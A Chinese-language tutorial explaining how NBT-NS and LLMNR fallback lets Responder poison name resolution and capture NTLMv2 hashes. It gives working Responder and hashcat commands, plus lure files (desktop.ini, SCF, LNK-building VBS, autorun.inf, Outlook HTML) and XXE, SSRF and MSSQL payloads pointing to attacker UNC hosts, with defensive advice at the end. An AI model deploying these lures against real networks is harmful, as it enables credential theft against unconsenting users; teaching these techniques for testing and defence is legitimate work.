当前位置: 首页 > news >正文

Windows 内网渗透:名称解析协议与Responder欺骗

引言

在 Windows 内网渗透测试中,掌握内网协议的特性是成功的关键。Windows 系统依赖多种名称解析协议(如 DNS、NBT-NS、LLMNR 等)将主机名映射到 IP 地址,这些协议在内网环境中至关重要。然而,当这些协议与 SMB(Server Message Block) 服务交互时,往往会暴露安全漏洞,成为攻击者的切入点。攻击者通常利用 NTLM 身份验证漏洞 执行 中间人攻击(MITM),窃取凭证并深入渗透网络。本文将深入探讨 Windows 内网中的名称解析协议(特别是 NBT-NSLLMNR),分析其在无 DNS 环境下的安全隐患,介绍攻击工具(如 Responder)的利用方法,并提供防御建议。


一、内网名称解析协议的工作原理

Windows 内网环境中,设备通过多种协议实现主机名与 IP 地址的映射。以下是主要协议及其工作机制的详细介绍:

1.1 DNS:标准名称解析协议

DNS(Domain Name System) 是互联网和企业网络中最常用的名称解析协议,用于将域名(如 www.example.com)转换为 IP 地址(如 192.168.1.1)。在内网中,DNS 通常由内部服务器提供,客户端通过查询这些服务器完成名称解析。然而,若 DNS 服务器不可用或配置不当,Windows 系统会转而依赖备用协议。

  • 特点:DNS 是集中式解析方案,依赖预配置的服务器。
  • 局限:无 DNS 时,系统会降级到其他协议。

1.2 NBT-NS (NetBIOS Name Service)

NBT-NS 是基于 NetBIOS 协议的名称解析服务,常见于早期 Windows 网络。当 DNS 不可用时,系统回退到 NBT-NS,通过广播查询局域网内的 NetBIOS 名称(设备的唯一标识符)来解析 IP 地址。

  • 工作方式:使用 UDP 137 端口广播查询,询问目标名称对应的 IP。
  • 安全隐患:广播机制易被攻击者拦截并伪装响应。
  • 背景:NetBIOS 是一种遗留协议,仍广泛存在于 Windows 环境中。

1.3 LLMNR (Link-Local Multicast Name Resolution)

LLMNR 是一种较新的本地名称解析协议,设计用于在无 DNS 的网络中通过多播解析主机名。自 Windows Vista 起默认启用,作为 DNS 的备用方案。

  • 工作方式:客户端通过 UDP 多播(端口 5355)向局域网发送请求,网络中能响应的设备返回 IP 地址。
  • 特点:与 NBT-NS 类似,依赖本地广播,易受欺骗攻击。
  • 应用场景:适用于小型网络或临时环境。

二、SMB 与名称解析降级的漏洞

SMB(Server Message Block) 是 Windows 用于文件共享、打印机访问等功能的网络协议,其正常运行依赖于准确的主机名解析。在理想情况下,DNS 负责这一任务,但当 DNS 不可用或解析失败时,Windows 会降级使用 NBT-NSLLMNR,这种机制为攻击者提供了可乘之机。

2.1 SMB 访问与降级过程

假设用户尝试访问一个共享资源,例如输入以下命令:

\\targetmachine\smb_share

系统会首先尝试通过 DNS 解析 targetmachine 的 IP 地址。如果 DNS 查询失败(例如目标名称不存在或 DNS 服务器不可用),Windows 将按以下顺序降级处理:

  1. NBT-NS:通过广播查询局域网内的 NetBIOS 名称。
  2. LLMNR:通过多播向本地网络发送解析请求。

此时,攻击者可在局域网中伪装成目标主机,响应这些广播或多播请求,诱导客户端与其建立连接。

  • 实际场景:用户可能因拼写错误(如 \\targtmachine)或访问不存在的资源触发降级。
  • 结果:客户端向伪装的攻击者机器发起通信。

2.2 NTLM 认证与中间人攻击

SMB 访问通常涉及 NTLM 认证,这是 Windows 网络中的常见身份验证协议。当客户端尝试连接到伪装的目标时,会自动发送 NTLM 凭证,包括用户名和密码的哈希值(通常为 NTLMv2)。攻击者利用这一过程实施 中间人攻击(MITM)

  • 攻击流程

    1. 客户端发送名称解析请求。
    2. 攻击者伪装响应,提供自己的 IP 地址。
    3. 客户端尝试连接并发起 NTLM 认证。
    4. 攻击者捕获凭证哈希。
  • 核心风险:NTLM 认证的自动化特性使得客户端无感知地泄露凭证。

捕获的 NTLM 哈希可用于:

  • 离线破解:通过工具如 hashcat 尝试恢复明文密码。
  • 中继攻击:将哈希直接转发到其他系统进行权限提升(需满足特定条件,如未启用 SMB 签名)。

三、利用 Responder 进行中间人攻击

Responder 是一款功能强大的渗透测试工具,专为 Windows 内网环境设计。它通过伪装 NBT-NSLLMNRMDNS 等协议的响应,捕获客户端的 NTLMv2 哈希,为攻击者提供凭证窃取的便捷途径。以下将详细介绍其工作原理、基本攻击步骤及多样化利用方法。

3.1 Responder 的工作原理

Responder 的核心在于利用 Windows 内网协议的广播和多播特性,通过中间人攻击窃取 NTLM 凭证。其工作机制如下:

  • 协议欺骗

    • Responder 监听局域网中的 NBT-NS(UDP 137)、LLMNR(UDP 5355)和 MDNS(UDP 5353)请求。
    • 当客户端因 DNS 解析失败而发起广播或多播查询时,Responder 伪装成目标主机,响应自己的 IP 地址。
    • 例如,用户访问 \\nonexistent\share,触发 LLMNR 请求,Responder 冒充 nonexistent 并回复。
  • 凭证捕获

    • 客户端收到伪造响应后,尝试与 Responder 控制的 IP 建立连接(如 SMB 或 HTTP)。
    • 连接过程中,Windows 自动发起 NTLM 认证,发送用户名和 NTLMv2 哈希。
    • Responder 捕获这些凭证并记录下来。
  • 优势

    • 无需直接与目标交互,仅需处于同一局域网。
    • 利用系统默认行为,攻击隐蔽性高。

3.2 基本攻击步骤

以下是使用 Responder 执行攻击的基本流程:

步骤 1:配置与启动 Responder

在攻击机(通常为 Kali Linux)上运行 Responder,监听网络接口:

responder -I eth0 -rPv
  • -I eth0:指定监听的网络接口(根据实际情况替换为 wlan0 等)。
  • -r:启用 SMB 响应,伪装文件共享服务。
  • -P:启用 NBT-NS 和 LLMNR 欺骗。
  • -v:显示详细输出,便于调试。

启动后,Responder 将开始监听并等待目标发起请求。

步骤 2:诱导并捕获 NTLM 哈希

攻击者需诱导目标触发名称解析请求,常见方法包括:

  • 手动触发:在目标机器上访问不存在的共享资源:
    net use \\nonexistent\share
    
    DNS 解析失败后,目标会通过 NBT-NS 或 LLMNR 查询,Responder 响应并捕获哈希。
  • 自然触发:等待用户因拼写错误或配置问题访问不存在资源。

捕获的哈希保存在 Responder 默认日志目录(如 /usr/share/responder/logs/),文件名通常以 IP 和协议命名,例如 SMB-192.168.1.100.txt

步骤 3:破解哈希

获取 NTLMv2 哈希后,使用暴力破解工具(如 hashcat)尝试恢复明文密码:

hashcat -m 5600 captured_hash.txt /path/to/wordlist.txt
  • -m 5600:指定 NTLMv2 哈希类型。
  • captured_hash.txt:Responder 捕获的哈希文件。
  • /path/to/wordlist.txt:密码字典文件。

若密码较弱(如常见组合或短密码),破解可能在数小时内完成。

3.3 通过文件获取 NTLM 哈希

1. 通过图标(desktop.ini)触发

攻击者可以利用 Windows 资源管理器加载图标文件的特性,诱导目标访问 SMB 共享,从而捕获 NTLM 哈希。

步骤:
  1. 创建一个文件夹 test,在 test 目录下创建 test2 子文件夹。
  2. 进入 test2 目录,创建 desktop.ini 文件,并修改 IconResource 指向攻击者的服务器:
    [.ShellClassInfo]
    IconResource=\\hello-world\test\SHELL32.dll,2
    
  3. 受害者打开 test 文件夹时,Windows 将尝试加载图标,从而自动发送 NTLM 认证请求。

在 Windows XP 系统中,应使用 IconFile 代替 IconResource

[.ShellClassInfo]
IconFile=\\1.1.1.1\aa
IconIndex=1337
2. 使用 SCF 文件

我们可以使用 SCF(Shell 命令文件)文件执行有限的一组操作(例如显示 Windows 桌面或打开 Windows 资源管理器)。但是,如果使用 SCF 文件访问特定的 UNC 路径,那么我们可以发起攻击。

示例 SCF 文件:
[Shell]
Command=2
IconFile=\\X.X.X.X\share\aaa.ico
[Taskbar]
Command=ToggleDesktop

将上述内容保存为 .scf 文件,并放入目标用户可能访问的共享目录。当用户浏览共享时,将自动从他的系统建立到 SCF 文件中包含的 UNC 路径的连接。Windows 将尝试使用用户名和密码对共享进行身份验证。在该身份验证过程中,服务器会向客户端发送一个随机的 8 字节质询密钥,并使用此质询密钥再次加密散列的 NTLM / LANMAN 密码。我们将捕获 NTLMv2 哈希。

3. 通过 Outlook 触发

Outlook 支持 HTML 格式的邮件,攻击者可以在邮件中嵌入远程 UNC 路径的图片。

示例 HTML 代码:
<img src="\\<kali ip>\outlook">

此方法的关键点:

  • UNC 路径(\\:会自动携带 NTLM 凭据,但通常仅限于内网。
  • HTTP 路径(http://:不会自动携带凭据,除非目标处于信任域内。
4. 通过 PDF 触发

攻击者可以利用 PDF 文件中的外部资源加载机制:

  1. 使用 deepzec/Bad-PDF 工具生成恶意 PDF。
  2. 受害者打开 PDF 时,触发 UNC 请求,从而泄露 NTLM 哈希。
5. 通过 Office 文档触发

Office 文档(如 Word、Excel)支持远程加载资源,攻击者可以嵌入 UNC 路径的图片或 OLE 对象。

手动修改 Word 文档以加载远程资源:
  1. 新建 Word 文档,插入一张图片。
  2. 用 7zip 打开 .docx,进入 word/_rels 目录,修改 document.xml.rels
  3. 修改 Target 参数,使其指向 UNC 共享路径,并添加 TargetMode="External"

受害者打开 Word 文件时,将自动请求远程资源,发送 NTLM 哈希。

6. 通过 LNK(快捷方式)文件

我们可以创建一个包含网络路径的快捷方式,只要你打开快捷方式,Windows就会尝试解析网络路径,你还可以指定一个快捷键来触发这个快捷方式。至于图标,你可以给出一个Windows二进制文件的名称,或者从位于system32目录中的shell32.dll,Ieframe.dll,imageres.dll,pnidui.dll或wmploc.dll中选择一个图标。

示例 VBS 代码生成 LNK 文件:
Set shl = CreateObject(&quot;WScript.Shell&quot;)
Set fso = CreateObject(&quot;Scripting.FileSystemObject&quot;)
currentFolder = shl.CurrentDirectorySet sc = shl.CreateShortcut(fso.BuildPath(currentFolder, &quot;\StealMyHashes.lnk&quot;))sc.TargetPath = &quot;\\1.1.1.1\@OsandaMalith&quot;
sc.WindowStyle = 1
sc.HotKey = &quot;Ctrl+Alt+O&quot;
sc.IconLocation = &quot;%windir%\system32\shell32.dll, 3&quot;
sc.Description = &quot;I will Steal your Hashes&quot;
sc.Save
7. 通过 Autorun.inf
[autorun]
open=\\1.1.1.1\setup.exe
icon=something.ico
action=open Setup.exe

受害者插入 USB 设备时,Windows 将尝试访问 setup.exe,从而触发 NTLM 认证。

3.4 通过 Web 漏洞获取 NTLM 哈希

1. XXE(XML External Entity)攻击

如果应用程序存在 XXE 漏洞,并支持 UNC 路径,可构造恶意 XML:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file://\\1.1.1.1\test">
]>
2. SSRF(服务器端请求伪造)

如果目标支持 file:// 协议,可尝试访问 UNC 共享:

file://\\1.1.1.1\test
3. SQL 注入(MSSQL)

在 MSSQL 注入中,可使用 xp_dirtree 获取哈希:

EXEC xp_dirtree '\\1.1.1.1\test'

3.5 通过错误域名解析获取哈希

Windows 7 默认启用 LLMNR 和 NBNS 解析,如果用户尝试访问错误的域名,攻击者可利用 Responder 进行投毒,骗取哈希。

responder -I eth0 -r on -v -F on -w on

受害者访问错误域名后,Responder 会要求其进行 NTLM 认证,从而捕获哈希。


小结

Windows 内网的名称解析机制,如 NBT-NSLLMNR,在 DNS 解析失败时会自动降级使用,这一特性为攻击者提供了可乘之机。本文详细分析了 SMB 认证NTLM 凭证泄露 的原理,并介绍了如何利用 Responder 进行中间人攻击。攻击者可通过名称解析欺骗、文件诱导、邮件和 Web 漏洞等多种手段捕获 NTLM 哈希,并尝试破解或利用其进行 NTLM 认证中继攻击

为了防御此类攻击,建议企业采取以下措施:

  1. 禁用不必要的协议:关闭 LLMNR 和 NetBIOS 以减少攻击面。
  2. 强制 SMB 签名:防止 NTLM 中继攻击。
  3. 使用强密码:结合多因素认证(MFA)增强账户安全。
  4. 监控异常流量:检测内网中可疑的名称解析流量和 SMB 认证失败记录。

通过合理的安全策略与防护措施,可有效降低 Windows 内网中的凭证窃取风险,提升整体安全性。

参考文章:https://www.cnblogs.com/haidragon/p/16847713.html


http://www.mrgr.cn/news/93537.html

相关文章:

  • Zabbix 安装部署
  • 可视化+图解:轻松搞定链表
  • fiddler everywhere 绿色永久版
  • linux awk命令和awk语言
  • 电脑总显示串口正在被占用处理方法
  • Go语言集成DeepSeek API和GoFly框架文本编辑器实现流式输出和对话(GoFly快速开发框架)
  • 从 Faith 与 Belief 的语义与语境辨析中解析其宗教哲学内涵
  • vulnhub靶场之【digitalworld.local系列】的vengeance靶机
  • Jmeter使用介绍
  • C++智能指针weak_ptr
  • c++实现最大公因数和最小公倍数
  • linux---天气爬虫
  • 自动驾驶---不依赖地图的大模型轨迹预测
  • TensorFlow.js 全面解析:在浏览器中构建机器学习应用
  • Java核心语法:从变量到控制流
  • STM32之BKP
  • 【音视频】ffmpeg命令提取像素格式
  • ROS实践-虚拟仿真平台Stage/Gazebo
  • 第三次CCF-CSP认证(含C++源码)
  • DeepSeek大模型 —— 全维度技术解析